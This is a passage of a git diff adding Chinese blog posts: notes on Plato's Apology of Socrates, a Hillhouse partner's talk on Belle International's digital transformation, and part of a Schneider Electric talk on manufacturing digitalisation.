第四部分 + +在苏格拉底的这番辩护演讲之后，法庭投票，结果是怎样呢？法庭以280票对221票判处苏格拉底有罪。你可能会疑惑，雅典为什么会通过投票来判定一个人是不是有罪呢？这里需要给你补充一点背景知识。雅典的政治程序鲜明地体现了雅典人对民主制的热爱。 + +雅典人相信每个公民都可以是非常称职的政治家和法官，因此雅典的大多数政治职务都是由公民通过抽签轮流担任，法庭也并没有专职的法官，普通的公民就是法官，类似于美国的陪审员。根据案件的严重程度，法庭由201、301、401或501个“法官”组成，少数特别重大的案件甚至由上千人组成法庭。苏格拉底的案子因为是“公诉”，所以由501个雅典公民组成了这次法庭。雅典法庭审理的基本程序就是原告先发表演讲，指控被告犯下了什么罪；然后由被告发表演讲，为自己辩护。 + +这第一轮辩论之后，法官立刻进行投票，用简单多数确定被告是否有罪。如果投票结果是无罪，那被告就被当庭开释；如果投票结果是有罪，那么原告和被告就要进行第二轮辩论，来确定应该对被告施加什么样的刑罚，因为雅典的大多数法律并没有明文规定各种罪行应该接受什么样的刑罚，当原告和被告各自提出了认为合理的刑罚之后，法官立刻进行第二轮投票，在原告和被告提出的刑罚之中选择一个。注意，我这里强调了“立刻投票”，这是雅典民主制度的一个重要特点，不管是公民大会上的辩论还是法庭辩论，听众都没有时间进行充分的思考，更没有时间进行广泛的商讨，而是要立刻做出决定，这也就导致人们往往会诉诸各种情感而非理性做出决定。这也在很大程度上导致了苏格拉底的死刑判决。 + +我们回到这场审判，在投票决定苏格拉底有罪之后，原告提出了自己认为恰当的刑罚，他们主张应该判处苏格拉底死刑。接下来，苏格拉底是怎么回应的呢？在对原告量刑的回应中，苏格拉底表现得比之前更加视死如归，甚至带有些蔑视和傲慢的姿态。他说如果按照自己的所作所为给雅典带来的贡献来说，他不但不该接受任何刑罚，反而应该得到城邦的奖赏——让他这个穷人终生得到城邦的供养，像奥林匹克冠军那样享受免费的饮食。 + +在这部分里面，苏格拉底说了全篇中最经典的那句话“**未经检审的人生是不值得过的**”。他设想，如果有人问他，愿不愿意用从此之后闭上嘴安静地生活，不再讨论哲学，来换取无罪的判决，苏格拉底断然拒绝，他说：“如果我说，对我来讲不可能保持沉默，因为那就意味着违背神，你们不会相信，还会认为我是在装蒜；如果我说，每天谈论德性，谈论别的你们听我讨论的事情，听我检审自己和别人，这就是最大的好，因为对人来讲，未经检审的人生是不值得过的（ὁ ἀνεξέταστος βίος οὐ βιωτὸς ἀνθρώπῳ），你们更不会相信。” + +这就是苏格拉底对于自己的信念和哲学生活的终极辩护：“未经检审的人生是不值得过的。”这句话什么意思呢？在苏格拉底看来，如果让他停止哲学讨论，停止反思，停止对自己和他人灵魂的拷问和检审，那么这样的人生根本就不值得过，那无异于把人变成行尸走肉，无异于把活人变成死人。这也和他上面说到的“我自知我无知”完全一致，因为在苏格拉底看来，人无法真正拥有智慧——智慧是属于神的，那么人所能做的就只能是不断地求索，不断地检审，不断地活在通向智慧的途中，而这就是哲学的本质——爱智慧（philo-sophia）。 + +# 第五部分 + +那么苏格拉底这样的演讲效果如何呢？不出意料，第二轮投票中，法官们以更大的票数差距判处了他死刑。 + +到此，苏格拉底的演讲进入了最后一部分，那就是，苏格拉底的临别讲话。作为一个即将赴死的人，苏格拉底是怎么表现的呢？对于那些判处他死刑的人，苏格拉底并没有愤怒，而是很平静地对他们说，想要避免死亡并不难，因为死亡是一个腿脚并不那么快的追逐者，但是想要避免恶行却很难，因为恶行比死亡腿脚快得多。我们稍不留神就会被恶行追上；而死亡追上我们却要慢得多，要等到我们生命的最后一刻。他要最后一次告诫雅典的公民们，如果不保持警醒，我们随时都可能作恶，恶行就在我们身边，只要稍不留意，就会滑落其中。而作恶就是对我们灵魂的伤害，就是对真正的自我的伤害。 + +对于那些认为苏格拉底无罪的人，肯定会对这样的死刑判决伤心不已，在场的就有苏格拉底的朋友和学生，包括柏拉图本人。苏格拉底最后试图安慰这些朋友，他说死亡要么是无梦的长眠——这当然是件非常美好的事情；要么就是还有来世——那么他可以在地府里继续和那些逝去的伟大人物谈话，检审他们的人生，考察他们是不是比现在的人更加智慧，也就是说，如果有来生，他还可以继续自己的哲学生活。 + +在全篇最后，苏格拉底又说了一句非常经典的话：“我去死，你们去生，我们要去做的哪个更好，除了神之外谁也不知道。”这也再次呼应了他之前关于我们为什么不该惧怕死亡的论证。 + +# 总结 + +到这里，今天的内容就讲完了。我们来回顾一下。 + +首先，《苏格拉底的申辩》之所以成为哲学和文学史上的经典，是因为它对于回答“苏格拉底问题”至关重要，让我们可以接近一个历史上真实的苏格拉底，同时最好地展示了苏格拉底的哲学生活和哲学理想。 + +在这部作品里面，苏格拉底面对自己同胞的指控和死刑判决，抱着自愿求死的决心，义正辞严地为自己和自己选择的哲学生活进行了动人的辩护。在他看来，自己之所以遭到怨恨，并最终被告上法庭，是因为他不知疲倦地揭示人们的无知。但是在苏格拉底看来，这正是哲学真正的起点。因为和神相比，人就是无知的，因此人生在世只能不断求索，不断探寻智慧，以此关心灵魂的健康。而他自己就是神馈赠给人们的那只“马虻”，他一生的使命就是不断提醒人们“未经检审的人生是不值得过的”，停止反思，停止对自己和他人灵魂的拷问和检审，那么这样的人生根本就不值得过，只有不断地检审，才能实现哲学的本质——爱智慧。因此自己不但无罪，反而应该被当作雅典的恩人。 + +不出意料，苏格拉底被雅典人判处了死刑，但是苏格拉底其实是自愿求死，他能够如此平静地面对死亡，也正是因为他在践行自己的哲学理念——我们需要的是不断进行检审，而不是对那些我们并不知道的事情下判断，而死亡是好是坏正是这样一件我们并不确切知道的事情。在苏格拉底这场著名的申辩中，也留下了几句经典的哲学名句：“我唯一知道的就是我一无所知”，“未经检审的人生是不值得过的”，“我去死，你们去生，我们要去做的哪个更好，除了神之外谁也不知道。” + +就这样，苏格拉底成为了西方哲学史上第一个为哲学而死的“殉道者”。他的死一方面揭示了哲学与政治之间的可能、甚至必然发生的冲突，同时也用自己无可指摘的一生为哲学做了最好的辩护。我们甚至可以说，苏格拉底用自己的死，换取了哲学更美好的生命和未来，因为一代又一代的人们会不断反思，“怎么会有人给苏格拉底这个好人，这个哲学家判处了死刑？”于是哲学就在这样的反思中获得了更大的生存空间。正是因为这样，苏格拉底不但被称为是哲学家的典范，还被称为是哲学家的守护天使。 + +# 参考 + ++ 得到 \ No newline at end of file diff --git a/_posts/2021-05-13-550-dvc.md b/_posts/2021-05-13-550-dvc.md new file mode 100644 index 0000000..fde43ba --- /dev/null +++ b/_posts/2021-05-13-550-dvc.md @@ -0,0 +1,331 @@ +--- +layout: post +title: 高瓴：数字化转型，重估企业核心竞争力 +pid: 550 +tags: [数字化转型] + +--- + + + + + + + +授课老师｜李良（Luke），高瓴合伙人、DVC（深度价值创造）负责人 + +# 第一部分 + +**高瓴投资百丽国际背后的故事** + +**1、结缘** + +百丽国际是谁？ + +对港股有了解的朋友可能知道，2007年-2017年，百丽国际是一个在香港上市的蓝筹股，而且是恒生指数的成分股，市值曾经达到1400亿港币。 + +2016年、2017年时，百丽拥有2万家直营门店，10万名员工，其中8万名店员。 + +可以说，百丽国际一直是中国零售业的传奇。它的主营业务是女鞋，一年可以卖出几千万双；另外一个业务板块是做运动品牌的代理，叫“滔搏运动”，是全球最大的阿迪达斯代理商，全球第二大、中国第一大耐克代理商。 + +到2017年中，百丽国际的女鞋业务已经十几个季度同比下滑，外界纷纷评"一代鞋王没落了"。 + +2017年7月，百丽选择私有化，成就了当时港交所历史上最大规模的私有化交易，高瓴成了大股东。 + +其实在当时，很多业内人士都不看好这个交易。但过了三年，大家的想法似乎有转变，尤其是在百丽国际挺过了去年疫情的考验之后。 + +2019年10月，百丽国际旗下的滔搏分拆上市，现在市值已经达到700多亿港币，不仅收获了市场认可，收入增长和利润也非常好。百丽国际的女鞋业务也有了明显的起色。在竞争激烈的电商市场，百丽国际在2018年至2020年连续三年的双十一女鞋品类里，都是当之无愧的第一，同比增长40%。而且，除了线上增长以外，线下的增长也比较可观。 + +面对纷繁复杂的市场竞争格局，百丽国际也更有信心了。甚至在2020年疫情这样的大考验中，滔搏加百丽国际共近2万家门店不仅没有被压垮，反而创下了过去5年的收入新高。 + +**2、理解** + +百丽国际所在的市场，狭义来讲可以说是鞋服市场，广义来说也可以叫时尚市场。 + +对于这个市场，我的理解主要有三点： + +**用户口味变化快** + +第一点，从轻奢开始往下，所有的鞋服或时尚品牌都面临一个巨大的挑战——用户口味变化太快，尤其是支撑起了消费品市场最重要的女性用户。其变化之快，很多时候甚至不可预期。众所周知，阿迪达斯、耐克的市场品牌能力很强，但如果某一季它们没有推出很好的款式，对不起，用户也还是不会下单。 + +**库存周转难题** + +第二点，企业存在库存周转难题。首先每个人身材不一、尺码存在很大差别。如果是衣服，基本只要有4个尺码就可以开卖了，但鞋子不行。女鞋要从32一直到40码甚至更大码都有，才能开卖；其次，鞋服都要试穿，如果说衣服要求厘米级的合身，那么鞋子要求的就是毫米级的合适。 + +这么多的SKU、这么多的码数，对于商家管理库存来讲就是一个巨大挑战，更不要说售卖中可能还会出现滞销品的问题。经常出现的一种情况是，好卖的货库存不够，不好卖的货库存一大堆；好不容易补了一批好卖的货，结果到季末一看，又成了滞销品。 + +**生意模式非常有挑战** + +第三点，必须承认，这是一个非常有挑战的生意模式。在这一行，能真正做好、做出品牌知名度的，都非常厉害。从世界范围来看，Zara、优衣库是值得研究的典型模式。以Zara为例，天下武功唯快不破，在用户口味变化迅速甚至难以做出预测的情况下，以快打快。为了快，Zara把供应链放在欧洲，以供应链快速反应迭代来抵消掉对每一季商品的预期偏差，本质上是以靠卖货来补单的模式对库存进行调整。 + +**3、观察** + +百丽国际女鞋业务不振的时候，“百丽国际退市”“鞋王落幕”“跌落神坛”“下落的飞刀”的报道满天飞，看上去都要把我们压死了。 + +当然，那时候也有很多人同情高瓴，觉得我们在接飞刀。还有人问我们，百丽国际连续十几个季度的业务下滑你们还敢去接？你们都没做过这个，怎么能行？ + +我现在来讲一讲，为什么我们能行。 + +**第一，百丽国际的企业家有伟大格局。** + +**1）创业第一天起就坚持做自有品牌** + +从第一天起，管理层就明确要做自有品牌。上世纪90年代初，中国商贸一般都是“三来一补”，即来料加工、来件装配、来样加工和补偿贸易。那时候几乎没人相信，中国人能够做出自己的品牌。但百丽国际高管层坚信、坚持自主品牌的理念。所以到目前为止，百丽国际旗下绝大多数都是自有品牌，甚至自有生产，不做OEM代工业务。 + +**2）转变成直营模式** + +2000年前后，管理层做了一个很重要的决定：直接触达用户、拥有用户。通常情况下，做了自主品牌后，就会有代理商压货、渠道商卖货，很多企业的品牌也都是如此做起来的，百丽国际初期也是。但后来，百丽国际高层认识到，这样的模式还是与用户隔了一层。 + +怎么办呢？百丽国际两手同时操作：一方面，收购原来的大代理商，直接将其变成自己的合作伙伴；另一方面，派自己的人深入某个区域，建立真正的大区模式。最终，百丽就这样形成了一个近2万家直营店的完全直营体系。在世界范围内都罕见。 + +**3）在女鞋业务增长很好的时候做了滔搏** + +2003年、2004年时，女鞋的增长很好，于是就开始做起了滔搏。百丽国际并不是最早做耐克、阿迪达斯代理的，但后来居上，第二年就做到了第一并保持至今。在这个过程中，还跟耐克等一起创新了很多大店，探索了很多中国市场独有的模式。 + +**4）私有化** + +私有化是我认为更重要的一点。**首先，在2017年跟我们一起把公司进行私有化，**管理层肩负了很大的责任重担，需要不断思考怎么能够给十多万员工一个更好的出路，怎么能让企业往前再走一步。 + +**第二，如果是中大型企业，有一个持续学习和进步的团队很重要。**这个团队，需要在你很多想法明确后，迅速执行，而且是夜以继日地执行。因为时尚销售这一块，每天都在卖货、订货、调整库存，所以必须要有一个能打仗的团队。 + +**第三，2015年至2017年，有一个思潮——大家都认为直营店太重了，是个包袱。**那时大家天天优化的目的是想把员工减少，降低成本。但我们看到的是另外一点：在那个时间点，企业有机会跟最终端的客户建立很多联系。 + +为什么高瓴能看到这一点？因为高瓴投资的不止这一个行业，还有互联网行业等。 + +如果你有印象，就知道那时候很多互联网企业都在做地推，那么多的成本在线下跑，相当于我们有几万员工在线下，并且我们每个月员工都挣钱，人家的每个员工都要补贴。 + +做线下，最重要的是有机会跟用户聊天、做推荐，然后再带到社群上面。当然，现在从头开始重建是不可能的了，因为那个时间点已经过去了。 + +**第四，直营之后，要做供应链的快反。**2000年初，百丽国际就已经完成了这件事，所以它才能够在2015年至2017年那么痛苦的业务同比下滑的状态下，现金流控制得依然非常好。 + +可能很多企业会只看损益表，关注亏损。有被损益表压死的吗？有，但是不多，很多企业是被资产负债表压死的。 + +**4、牵手** + +2015年时，其实去“求亲”的人不少，但百丽国际管理层为什么最终选择高瓴？有三点原因：真懂、真能、真心。具体来说： + +**其一，高瓴“真懂”，对新趋势和百丽国际这样的传统企业有着深度理解。** + +像百丽国际这样伴随着中国经济高速成长起来的大型企业，能力是非常厉害的。但为什么过去五到十年里总觉得它们受到了很大挑战呢？我认为，他们最重要的挑战实际上是人才的挑战。 + +因为最年轻、最有活力、最有创新精神的年轻人都去了互联网企业，并且这是一个正循环——年轻人去了互联网公司，企业发展得更好，就又吸引了更多的年轻人去它们那里，于是就没什么年轻血液去传统企业了。 + +为什么直接面对消费者在2017年、2018年之后如此重要呢？有人可能会说，这一条在2011年也很重要。没错，但那时候没有微信，没有现在讲的私域流量，也就是说，那时候缺乏能无成本地反复唤醒用户的手段。有一堆电话号码没用，打电话要花钱，而且唤醒率极低，不是私域流量运营。 + +**其二，真能帮上忙。** + +2014年、2015年我们就一直在布局，到现在高瓴已经有200人的软件和数据团队。所以，高瓴不是一个传统的投资公司，我们是真的想帮助企业来做转型。 + +**其三，有投入的决心。** + +我们在做很多事情时，都追求跟管理层、股东们的利益达成一致。我们看重持续经营，对大型企业心存敬畏。 + +总体来说，在我看来，是我们通过真懂、真能、真心，打动了百丽国际的管理层、董事会，才一起携手，顺利地完成这件事。 + +# 第二部分 + +**高瓴深度赋能方法论** + +**1、高瓴进入百丽国际后面临的挑战** + +2017年8月，对百丽国际完成私有化之后，我就去做了百丽国际的执行董事，主要负责百丽国际的战略，比如数字化转型，后来也负责电商，直接管理电商和技术团队。 + +在那个时间点，我遇到了很多问题。 + +**士气问题** + +第一个，士气问题。一个曾经辉煌过的企业，遇到了困难，它不是没有努力过，它其实努力了很多次，而且有丰富的资源，有很多咨询公司、很多人都帮过它，但它还是没有逆转，所以整个员工体系都存在着很大的士气挑战。 + +**认知问题** + +第二个，认知问题。大型企业有太多的资源，有太多的咨询公司提出各种意见建议。A讲的对、B讲的也对，到企业这里就很难做选择。如果不做选择，就顺着惯性运转，公司也能继续做着，但慢慢会失去一些方向感。 + +**战略问题** + +第三个，战略问题。战略我们已经确定了，要做数字化转型。但是怎么做？不知道。这个任务就交由我来干。我制定了一个百日计划，主要做三点： + +**1）了解百丽国际组织机构、高管、基层，也让百丽国际的人了解高瓴** + +我花了两个月的时间，实地考察了8个大区，巡店见店员、见区域领导，还去观察了竞争对手的店。在此期间，我也让地区的很多同事对我、对高瓴建立了信任。 + +我深入8个大区进行实地考察时，遇到了一个很有意思的事。在某个大区巡店时，一位店员问我，“你能把我手机上装的五六个App给我卸载了吗？”我很好奇，因为我知道这些App是此前科技中心花费了大量心血做出来的，目的就是给终端店员赋能。而且从总部数据来看，每天有90%以上的员工都在使用这些App。 + +但这个店员告诉我，基层员工知道总部给他们手机装这些App是为了管理日常运营、了解员工KPI执行情况。但由于这些App实在太难用，许多员工都只是花两秒钟打个卡。 + +这件事情其实让人挺悲哀的。 + +但实际上，这确实是当时许多大企业数字化的真实情况。大部分大型企业搞内部App研发，科技中心在做需求调研时，往往只听取大区负责或者产品经理的意见，很少与身处一线的店长沟通，因为店长在忙着卖货。最终的结果，就是设计出的东西与一线的实际需求相差甚远。 + +我回去之后赶紧叫停了App的推广，这让我意识到企业千万不要做“你妈觉得你很冷、所以一定要穿秋裤”这样的事情。 + +**2）见了很多业内专家，取经和推敲，明确大战略** + +约见行业相关的专家，通过沟通交流，可以得到很多启发。但在这个过程中你要注意，只有内部想法和外部建议相结合，才能形成真正的战略。 + +**3）招“外面的人”，招跨界的人(数字化/电商团队筹建)** + +传统企业很难吸引新鲜血液进来，外面的人也对传统企业缺乏认识。我们做的，就是去弥合这个断口。所以，在筹建数字化团队、电商团队的时候，我们积极招聘跨界的人。这些人看到，高瓴作为“外人”都在夸百丽国际，并且也愿意付出一定代价去支持百丽国际，他们才更觉得这里很有潜力。 + +**2、高瓴如何理解数字化转型** + +**数字化转型核心——数据资产** + +巴菲特曾经说过，有一些很牛的资产是不在资产负债表中的，比如品牌资产。有一句很著名的话叫做，烧毁了可口可乐工厂，第二天它还重建就可以。 + +我认为，有一大块被忽视的资产——数据资产。互联网创业公司天生就是数据资产，那传统企业里有没有数据？也有，但传统企业最多的是财务数据和货品数据，而且这些数据都是编制在报表里给审计师看的，审计师看完就完事了，这些数据不积累，没有被当作资产来看待和使用。 + +在高瓴看来，数据资产是企业数字化转型的核心。这其中有三个要点： + +1）数据资产不会被消耗，越用越多，用的时候会反馈更多的数据回来，一定要多用。 + +2）数据跟海鲜一样，是有保鲜度的，拿到数据之后，必须有流程把它立刻用起来。有几千万锁在保险柜的会员信息，不如有几百万个能够高频复用的数据库。 + +3）一定要眼睛向外。有增量的数据就不要用后视镜开车。不断精而又精地加工内部数据，涵盖各种维度，价值远不如多一个外部的数据源，这些数据源其实也很好找。 + +总体来说，数字化过程可以理解为三大步骤：形成数据资产、积累数据资产、运用数据资产。 + +有人可能会想，我一步到位把它做完可以吗？我的观点是，不用。你可以结合自身的情况，找关键点去做，一步步来，不要急于求成，谨记数字化转型的四大原则： + +**1）锦上添花** + +锦，是企业的核心能力。每个企业有每个企业的“锦”，成长到一定程度后，一定有区别于别人的特殊强项，把这个强项识别出来，然后再争取在上面绣花。识别自己企业的核心能力非常重要，其他的都是工具或方法，只是一个助力而已。 + +**2）小步快跑** + +小步快跑其实是互联网企业迭代各种模式的一个特点。其实，中大型企业并不缺资源，缺的是灰度的想法，直白来讲，就是有没有容忍度。因为创新本身一定隐含着风险，做砸怎么办？需要建立一个机制，容忍尝试、小试和终试。 + +同时作为领导，杀鸡一定要用宰牛刀。在尝试的过程中，越早期介入越好。但同时要注意，不要动不动就All in，要多看看、多想想，小步快跑。 + +测试的过程中一定要深入底层研究需求，如果能把To B的产品To C化，不需要一个复杂的说明手册，店长们就很喜欢用，自然就变成了他管理必不可缺的一部分。 + +**3）普惠** + +一线员工们很难得到许多系统、数据和工具，如果你要做任何赋能或者数据，最好是离用户越近那层越好。我们现在看的报表都是可以一直垂直到门店，因为店长、店员们需要实时的数据或工具，帮助他们做决策。 + +**4）增量思维** + +数字化过程中，大家常常会醉心于各种优化，以至于忘了出发的根本。要注意，你做的所有动作都是为了增长。有的人会觉得，两年后我给你一个增量不行吗？这个可以有，但是一定要搭配现在就能用的。换句话说，不要给增量的出现开远期支票，因为谁都不知道两年后是什么情况。长线的项目一定要和短线的项目匹配，在过程中要及时反馈和迭代。 + +**3、数字化转型路线图** + +![img](https://xqimg.imedao.com/1785c5573ef13bb53fd02c71.jpeg!800.jpg) + +这是我们自己总结的数字化转型路线图。 + +横轴代表数据，从内部和外部，原点可以看作一个成建制企业的财务数据。这个数据一定是准确的、好用的，然后逐步开始模糊，慢慢变成外部数据。 + +纵轴代表流程，是一个成规模企业的能力。流程是一个从有到无的过程，原点依然是财务，因为最好的制度一定是财务制度执行的比较严密。 + +两个轴构成了四个象限，代表四种做数字化转型的情况。如果拿这个图去套各种货品零售，你会发现：数据是生产资料，有流程才能运营，有算法才能升华。 + +**4、数字化转型的几大模块** + +从我们的经历出发，结合上面路线图的四个象限，我们总结出了数字化转型的几大模块和经验： + +![img](https://xqimg.imedao.com/1785c55759d13d743fedc32f.jpeg!800.jpg) + +**1）重建电商能力，通过一体化运营，全方位构筑线上直营能力，实现融合式增长。** + +用电商打通线上线下，线上贡献大量的数据，反哺传统的线下产品设计。要注意，一定要一体化运营，不要变成左手打右手。 + +百丽国际就是用了两年的时间，理顺了价格、数据，解决利益冲突和机制问题，并且构建起一个矩阵结构，让每个品牌都有机会和电商交流、学习、提高。最终，电商能力成为了百丽国际在新环境下的新零售能力。 + +**2）挖掘线下数据，在线下第一线建立起更多的数据来源。** + +赋能终端方面，百丽国际有三个经验： + +一是，没做过一线店员的技术人员不是好店长。只有扎在一线磨很长的时间、对核心用户群进行深度运营，才能做出来真正内行的To C产品。 + +二是，研发一把“好用的枪“，把它交给一线去用。市场上都是单发的驳壳枪，这时候你做了一把连发的冲锋枪，你是给战士用，还是司令用呢？大部分企业做各种数据库、看板都是在给老板用。我们的选择，当然是列装一线。 + +三是游戏化运营，店员“自建”标准模型，激发创新热情。百丽国际自己的精神就是互相PK，原来是同一个商场PK，现在因为有了线上，就会进行同城PK，跨城PK。 + +智慧门店方面，要从触摸商品开始，找到关键的数据维度，不断积累数据，并对数据进行清洗、对齐。 + +在这里多提一句，关键数据有多重要？ + +2018年初，百丽国际正在测试是否要将试穿率的数据数字化。当时的技术设备比较贵，如果按每个门店设备铺设成本为2万元计算，1万个的门店的成本就要2亿元。如此高昂的试验成本，在内部引起了不小的争议。 + +但是，我坚持在几个门店做了MVP测试。很快，我就发现了一个很奇怪的问题：一款试穿榜排名第一的鞋子，销量排名却在第30名左右。按照百丽国际原来的做法，这样的SKU一定会被淘汰，不会再补货。 + +但在鞋类市场，用户试穿是一个成本很高的动作——先找店员沟通，坐下等店员从库房取货，试穿要脱鞋、穿鞋……消费者用时间进行了投票，试穿第一名意味着很多人都很喜欢它，但最后没有买，肯定是有问题的。 + +为什么这款鞋子的试穿量和销量存在这么大偏差？店员告诉我，原因很简单，这是个凉鞋，不跟脚。并且，这种情况在店里几乎每天都会出现，店员已经见怪不怪。 + +为什么这款鞋子不跟脚？产品人员分析发现，这款鞋是新的楦型，在制作的过程中，后边的带子稍微长了一点点。 + +我迅速向产品部门反映了这一问题。在下一批补货的时候，这款鞋的带子已经做了改进，最终竟然卖出过千万的货值，成了畅销款。 + +这就是一个关键数据的价值！ + +基于前两个层面，可以提升前后端的流程效率，并达到提升士气的效果。 + +**3）货品算法+精益生产，提升供应链条的反应能力。** + +**第一点，通过算法，可以预测与捕捉变幻不定的潮流。** + +![img](https://xqimg.imedao.com/1785c5577ec13d3c3fefe89b.jpeg!800.jpg) + +如果算法落地比较麻烦，可以在终端层面，培养以数据化的思维“猜你喜欢”。比如，商场店铺不允许店员上班时间看手机，怎么推广数据化思维？ + +我们想了一个笨办法：每一周让店长打印一张纸，贴在店员必经之处，上面会写着诸如“用户选了A建议你把BCD弄上，用户选了B，你把AEF弄上”，总之就是10个款左右。这样就加大了店员的销售命中率。当然，这个人肉算法很粗糙，但这里有很多“金矿”可挖，希望更多创业公司看到这个发展机会。 + +**第二点，精益生产，以“授人以渔”的方式完成供应链提升，通过C2M尝试更了解我们的顾客。** + +![img](https://xqimg.imedao.com/1785c55795013d2f3fc30768.jpeg!800.jpg) + +精益生产是高瓴赋能很重要的一块。百丽国际制鞋的过程有三四百个工序，我们设计了很多程序，当第100个工序出问题时，我最好在101个工序就能检查到，就能够节省掉一个巨大的浪费，同时还能保障质量的稳定。 + +精益生产最核心的一点还在于，我们的很多优化不是来自于自上而下的方法，更多是来自真正一线员工的调优。把这个方法论理解好，对制造业企业会特别有效。 + +总的来说，快速供应链的进一步加强，从被动反应，加上了预测。同时精益，进一步提高了生产的速度，通过减少浪费来提高了质量，赢得了效益； + +**4）强化会员运营，通过去中心化创造店铺销售增量，建立低成本的触达用户的方法和能力。** + +百丽国际在女鞋上重现辉煌，关键原因就在于找到了真正研究客户、理解客户的方式方法。比如，研究线下客户的全流程，加入试鞋数据；线上客户尽可能全接触，渠道有微信号、天猫、小红书点评等等；还提出了认真对待会员计划，LTV（用户生命周期价值）思路。 + +**5）构建数据中台。简单来说，技术端的数据中台目标是快速处理、展现、分发、分析数据。传统的ERP是不行的，需要数据中台。** + +去年，高瓴对自己这些年做的投后赋能进行了总结，并定义为“深度价值创造”，英文Deep Value Creation，缩写DVC。 + +![img](https://xqimg.imedao.com/1785c557b2013df03fec14bd.jpeg!800.jpg) + +做深度价值创造的基础，首先来自我们的属性——我们是长期资本；其次，我们拥有新技术的敏感性，我们不是卖技术，而是技术赋能；在新模式出现时，我们会向最前沿的创业公司去学习，并搭建桥梁让它进来。此外，我们还有生态资源、人才支持、精益运营、医疗服务等，共“七大武器”。 + +# 第三部分 + +**企业数字化转型的路径探索** + +**1、百丽国际数字化转型可以借鉴的思路** + +从百丽国际的数字化转型案例出发，我认为有以下三点思路可以借鉴： + +**首先，要想清楚自己的特点和问题。** + +我反复强调，做任何事情，都要“知己知彼”。要先清楚自己，了解并坚守自己的初心，千万不要为了数字化而数字化、为了智能而智能、为了算法而算法。 + +**其次，数字化团队与企业核心业务的目标要不断对齐。** + +有新人进来时，无论是跨界来的同事员工，还是合作伙伴，有时候你知道的东西别人不一定知道，别人知道的你也不一定知道，跨界上下、合作伙伴一定要保持沟通，不断对齐目标。 + +**第三，遇到困难，要寻找合适的伙伴** + +譬如百丽国际，遇到问题或困难时，及时寻找合适的合作伙伴，无论是技术合作伙伴、商务合作伙伴还是资本合作伙伴，大家共担风险、互助共赢。 + +2019年，我去外地开一个会，因为晚点导致飞机落地已经半夜了。当时一个区域经理接上我。 + +上车了我就问，我们做的数字化转型，你觉得效果怎么样？ + +他说：特好。 + +我说：你这肯定是拍马屁，到底好在哪儿了？ + +他说，我们的店员下班之后有时候也要用手机App管店。他们会跟其他公司的一些朋友进行比较，说你看我们的APP，嚓嚓嚓嚓，什么都有，特别方便。我们线上还能和线下结合卖货，双11发货，我们都需要商场特别开绿灯，因为发到半夜3点才能发完货，别人眼馋坏了。 + +那一刻，我觉得我们真的做了一个很重要的事情。我们的士兵在跟敌人炫耀，你看我这是机枪，你那就是个单发的步枪，你跟我打什么仗呢？士兵们瞬间士气高涨。 + +高瓴很乐意，运用我们资本的力量、科技的能力，真正帮助到企业，帮助到普通的劳动者。谢谢大家 + +# 参考 + ++ 混沌大学 \ No newline at end of file diff --git a/_posts/2021-05-17-551-yinzheng.md b/_posts/2021-05-17-551-yinzheng.md new file mode 100644 index 0000000..c7c480a --- /dev/null +++ b/_posts/2021-05-17-551-yinzheng.md @@ -0,0 +1,204 @@ +--- +layout: post +title: 传统制造业如何进行数字化转型？ +pid: 551 +tags: [数字化转型] + +--- + + + + + +课程简介 + +尹正：施耐德电气全球执行副总裁、中国区总裁 + +施耐德电气：传统制造业如何进行数字化转型 + +当下，中国经济正经历由传统经济向数字经济转型的关键时期。数字化转型已成为传统制造业必须付诸行动的必选题，也是提高生产效率和产品品质的重要途径。施耐德电气，作为一家在工业自动化与能源管理领域有着深厚经验的企业，对于数字化转型领域的布局由来已久，以“数字化领导者”为目标的战略转型已经小有成效。那么，在企业数字化转型上，施耐德电气有怎样深入的思考？又是如何助力企业实施转型的？ + +本次课程，我们邀请到了施耐德电气全球执行副总裁、中国区总裁尹正。他将分享数字化转型的4大趋势、3大挑战、相关举措及一些典型案例，为企业数字化转型提供一些借鉴和思考。 + +施耐德180多年的悠久历史，也是从钢铁制造企业转型到电力行业的漫长过程。施耐德明确的两个转型方向是：能源管理和自动化。 + +这也是第三次工业革命的主旨：通过数字化赋能能源领域，提升能源效率。 + +施耐德作为成功转型的传统制造业企业，有两大荣誉。 + +一是在IT领域咨询公司Gartner每年评比的全球前50名供应链企业中，施耐德从2015年的第34名，上升至2020年的第4名。并且值得一提的是，施耐德是这50名企业中，唯一的一家制造业企业。 + +二是被达沃斯和麦肯锡评比为“灯塔”工厂——全球工厂级的制造业企业，将能够把IT与OT（operational technology 运营技术）结合起来，带来效益的企业，被称之为“灯塔”工厂。 + +全球“灯塔”工厂50-60家，其中就有施耐德的两家工厂，同时施耐德还有两家成长中的灯塔“”工厂。 +“灯塔”工厂的关键评价因素是： + ++ 1、OT与IT的真正融合； ++ 2、真正的可持续发展； ++ 3、让员工更好地地发挥作用。 + +那么如何实现真正的IoT呢？ + +IoT的三个层面： + ++ 1、物理层面互联互通。 ++ 2、数据采集的自动化，可视化与可扩展性。 ++ 3、数据的分析判断与应用。 + +那么IoT真正的难点，在于IT和OT的结合，因为不同工业的实际需求不一样，不同的工艺段，需求也不一样。 + +# 数字化转型四个维度的融合 + +未来的两大变革：能源管理与数字化。 + +地球上的能源是有限的，而我们对于能源的需求却日益增加，那么唯一的解决办法，只能是提升能源的使用效率，同时满足环保的要求。同时在数字化时代，每天产生大量的数据，需要我们有工具，有方法将数据合理有效地利用起来。 + +这不仅是企业数字化转型的背景，其实也是企业实现自身降本增效，持续发展的必然选择。 + +在疫情之下，数字化转型的价值也逐渐凸显： + ++ 1、业务韧性：远程控制工厂生产、增强供应链企业的协同的需求逐渐强烈。 ++ 2、效率提升：疫情按下的暂停键，使经济复苏更需要降本增效。 ++ 3、可持续：疫情是对人类的警告，经济的发展必须是环保的，可持续的。这也是为什么欧盟的在制定经济刺激计划时，也强调绿色经济的重要性。 + +数字化转型维度一：能源管理与自动化的结合 + +传统能源，例如大型发电厂，是集中的，而传统能源是分散的，比如风力发电厂，太阳能光伏发电，又将这些分散的能源集中存储起来，满足需求侧和供给侧的平衡。 + +数据中心的概念是集中的，而随着智能手机等个人终端的发展，算力又是分散的。 + +传统能源与自动化都经历了从分散，到集中，再到分布的过程，二者的结合就变得十分重要。 + +举一个医疗行业的案例，重症病房和手术室的监控系统，必须是高度自动化的，而且电力的供给必须是持续的、安全的，才能保障患者的生命健康安全。 + +数字化转型维度二：IT和OT的融合 + +完整的云边结合能力，需要有物理层的边缘感知、自动化、可视化且可拓展的数据收集能力、数据分析与应用能力，也就能够赋能到线下服务。 + +这也是一个O2O的概念——用数字化来赋能线下业务。 + +数字化转型维度三：全生命周期的融合 + 